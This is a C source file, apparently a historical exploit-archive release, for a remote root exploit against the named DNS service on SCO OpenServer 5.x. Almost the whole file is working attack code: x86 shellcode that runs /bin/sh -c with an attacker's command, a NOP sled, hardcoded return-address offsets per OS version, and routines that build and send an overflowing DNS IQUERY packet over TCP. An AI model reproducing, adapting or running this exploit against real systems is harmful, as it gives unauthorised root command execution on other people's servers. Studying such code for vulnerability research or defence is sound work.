/*
 * !!!! Private do not distribute !!!!
 *
 * <sconam2.c> Definitive SCO remote named root exploit
 *
 * Offset: /etc/named 
 * 0 -> SCO OpenServer 5.0.4
 * 200 -> SCO Openserver 5.0.2
 * 200 -> SCO Openserver 5.0.0
 * -100 -> Others
 *
 * Usage: 
 * $ cc sconam2.c -o sconam2 -lsocket
 * $ sconamedx <host> <command>
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 8/7/99) 
 * Based on: named_v3.c by plaguez
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 
                                 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define NOP 0x90
#define BUFLEN 800
#define OFFSET 0x8047250 // Openserver 5.0.4 
#define ALIN 2

char hell[] =
  "\x31\xdb" // xorl %ebx,%ebx
  "\x31\xc0" // xorl %eax,%eax
  "\xeb\x30" // jmp uno
  "\x5e" // dos: popl %esi
  "\x8d\x7e\x10" // leal 16(%esi),%edi
  "\x89\xf9" // movl %edi,%ecx
  "\x89\x3e" // movl %edi,(%esi) 
  "\x8d\x7e\x18" // leal 24(%esi),%edi
  "\x89\x7e\x04" // movl %edi,4(%esi) 
  "\x8d\x7e\x1b" // leal 27(%esi),%edi
  "\x89\x7e\x08" // movl %edi,8(%esi) 
  "\x89\x5e\x0c" // movl %ebx,12(%esi)  
  "\x89\x5e\xf5" // movl %ebx,-11(%esi)
  "\x88\x5e\xfa" // movb %bl,-6(%esi)
  "\x88\x5e\x17" // movb %bl,23(%esi)
  "\x88\x5e\x1a" // movb %bl,26(%esi) 
  "\x53" // pushl %ebx
  "\x56" // pushl %esi 
  "\x51" // pushl %ecx 
  "\x51" // pushl %ecx   
  "\xb0\x3b" // movb 0x3b, %al
  "\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0
  "\xe8\xcb\xff\xff\xff" // uno: call dos
  "AAAA" // +0
  "AAAA" // +4
  "AAAA" // +8
  "AAAA" // +12
  "/bin/shA" // (1) +16 0x10(%esi)
  "-cA" // (2) +24 0x18(%esi)
  ""; // (3) +27 0x1b(%esi)

char buf2[150];
char cmd[60];
char end[]=";\x00";
char buff[BUFLEN];

void addchar(char *str, char ch)
{
  unsigned int len;

  len = strlen(str);
  str[len] = ch;
  str[len + 1] = 0;
}

int lookup_host(ra, hn, rp)
struct sockaddr_in *ra;
char *hn;
unsigned short rp;
{
  ra->sin_family = AF_INET;
  ra->sin_port = htons(rp);
  if((ra->sin_addr.s_addr = inet_addr(hn)) == -1) {
    struct hostent *he;

  if((he = gethostbyname(hn)) != (struct hostent *) NULL) {
    memcpy(&ra->sin_addr.s_addr, he->h_addr, 4);
    return 1;
  } else
      herror("Unable to resolve hostname");
  } else
    return 1;
  return 0;
}

void attack_bind(ra, loc)
struct sockaddr_in ra;
char *loc;
{
  int sd, pktlen, sockdesc;
  char keypkt[6000], rname[6000];
  struct hostent *he;

  if((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("cannot open tcp socket");
    return;
  }
    
  printf("Connecting to nameserver via TCP...\n");
  fflush(stdout);
    
  if(connect(sd, (struct sockaddr *) &ra, sizeof(ra)) == -1) {
    perror("Unable to connect");
    close(sd);
    return;
  }
    
  printf("Connected\n");
  printf("Sending overflow...\n");

  if((he = gethostbyaddr((char *) &ra.sin_addr, sizeof(ra.sin_addr), AF_INET)) == (struct hostent *) NULL)
    sprintf(rname, "%s", inet_ntoa(ra.sin_addr));
  else
    strncpy(rname, he->h_name, sizeof(rname));

  pktlen = make_keypkt(keypkt);
  send_packet(sd, keypkt, pktlen);
  exit(0);
}

int make_keypkt(pktbuf)
char *pktbuf;
{
  HEADER *dnsh;
  char *ptr = pktbuf;
  int pktlen = 0;
  unsigned long ttl = 31337;

  memset(pktbuf, 0, sizeof(pktbuf));

  dnsh = (HEADER *) ptr;
  dnsh->id = htons(rand() % 65535);
  dnsh->qr = 0;
  dnsh->opcode = IQUERY;
  dnsh->aa = 0;
  dnsh->tc = 0;
  dnsh->rd = 1;
  dnsh->ra = 1;
  dnsh->unused = 0;
  dnsh->rcode = 0;
  dnsh->qdcount = htons(0);
  dnsh->ancount = htons(1);
  dnsh->nscount = htons(0);
  dnsh->arcount = htons(0);
  pktlen += sizeof(HEADER);
  ptr += sizeof(HEADER);
  *(ptr++) = '\0';
  pktlen++;

  PUTSHORT(T_A, ptr);
  PUTSHORT(C_IN, ptr);
  PUTLONG(ttl, ptr);
  PUTSHORT(BUFLEN + 1, ptr);

  memcpy(ptr + 1, buff, BUFLEN + 1);
  ptr = ptr + (BUFLEN + 1);

  pktlen += ((sizeof(short) * 3) + sizeof(long) + BUFLEN + 1);

  return pktlen;
}

int send_packet(sd, pktbuf, pktlen)
int sd, pktlen;
char *pktbuf;
{
  char tmp[2], *tmpptr;

  tmpptr = tmp;
  PUTSHORT(pktlen, tmpptr);
  if (write(sd, tmp, 2) != 2 || write(sd, pktbuf, pktlen) != pktlen) {
    perror("write failed");
    return 0;
  }
  close(sd);
  return 1;
}

int main(argc, argv)
int argc;
char *argv[];
{
  int i;
  struct sockaddr_in ra;
  unsigned long addr;
  unsigned char jmp;

  int offset = 0;

  if(argc < 3 || argc > 4) {
    printf("<sconam2.c> Definitive SCO remote named root exploit (TDR)\n");    
    printf("Usage: sconam2 <host> <command> [offset]\n");
    exit(1);
  }
  if(argc == 3) {
    strncpy(cmd,argv[2],strlen(argv[2]));
    memcpy(buf2,hell,strlen(hell));
    memcpy(buf2+strlen(hell),cmd,strlen(argv[2]));
    memcpy(buf2+strlen(hell)+strlen(argv[2]),end,2);
  }
  if(argc == 4) {
    strncpy(cmd,argv[2],strlen(argv[2]));
    memcpy(buf2,hell,strlen(hell));
    memcpy(buf2+strlen(hell),cmd,strlen(argv[2]));
    memcpy(buf2+strlen(hell)+strlen(argv[2]),end,2); 
    offset += atoi(argv[3]);
  }
  addr = OFFSET + offset;

  printf("hell[] length: %i\n", strlen(hell));
  printf("buffer length: %i\n", BUFLEN);
  printf("offset: %i\n", offset);
  printf("address: 0x%lx\n", addr);

  memset(buff,0x90,BUFLEN);
  memcpy(buff+500,buf2,150);
  for(i=650+ALIN;i<BUFLEN-4;i+=4)
    *(int *)&buff[i]=addr;

  if (!lookup_host(&ra, argv[1], NAMESERVER_PORT))
    return;

  srand(time(NULL));
  attack_bind(ra, argv[1]);
  exit(0);
}
/*                   www.hack.co.za   [29 September 2000]*/